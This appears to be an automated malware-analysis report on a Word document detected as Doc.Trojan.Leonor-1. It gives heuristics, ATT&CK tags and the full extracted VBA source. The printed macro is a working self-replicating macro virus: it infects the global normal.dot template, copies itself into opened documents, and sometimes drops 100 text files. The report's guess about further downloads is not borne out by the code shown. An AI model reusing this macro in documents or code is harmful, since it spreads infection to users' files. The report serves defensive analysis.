MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an AutoOpen subroutine, identified by ClamAV as Doc.Trojan.Leonor-1. This macro attempts to copy itself to the default Word template ('normal.dot') and conditionally creates multiple text files in 'C:\windows\escritorio\' with the content 'I love Leonor forever'. This behavior suggests an attempt to establish persistence and potentially download or execute further malicious payloads.
Heuristics 4
-
ClamAV: Doc.Trojan.Leonor-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Leonor-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1940 bytes |
SHA-256: e442f63a3c598d185ae58eec2bb175b1be9228dd6abd2b5166b184fe78216b24 |
|||
|
Detection
ClamAV:
Doc.Trojan.Leonor-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Cierra todas las ventanas del documento activo."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim normal$
Dim fichero$
Dim contador
Dim BuscarMacro$
Dim comprueba
Dim bandera
Dim Dia
Dim Numero
Dim repite
Dim repetidor$
Dim AutoOpen$
'Leonor macro (v1.1) made by uhjov
normal$ = WordBasic.[DefaultDir$](2)
normal$ = normal$ + "\normal.dot"
SetAttr normal$, 0
fichero$ = WordBasic.[FileName$]()
For contador = 1 To WordBasic.CountMacros()
BuscarMacro$ = WordBasic.[MacroName$](contador, 0)
If BuscarMacro$ = "AutoOpen" Then comprueba = 1
Next
If comprueba <> 1 Then
WordBasic.Organizer Copy:=1, Source:=fichero$, Destination:=normal$, _
Name:="AutoOpen", Tab:=3
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
WordBasic.FileSaveAll
bandera = 1
SetAttr normal$, 0
End If
If bandera <> 1 Then
Dia = WordBasic.WeekDay(WordBasic.Today())
Numero = WordBasic.Int(Rnd() * 100)
If Dia = 2 Or Dia = 7 Then
If Numero < 10 Then
For repite = 1 To 100
repetidor$ = "C:\windows\escritorio\" + WordBasic.[LTrim$](Str(repite)) _
+ ".txt"
Open repetidor$ For Output As 1
Print #1, "I love Leonor forever"
Close 1
Next
End If
End If
If UCase(WordBasic.[MacroFileName$](AutoOpen$)) = UCase(normal$) Then
WordBasic.FileSaveAs Format:=1
WordBasic.Organizer Copy:=1, Source:=normal$, Destination:=fichero$, _
Name:="AutoOpen", Tab:=3
WordBasic.FileSaveAs Format:=1
End If
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.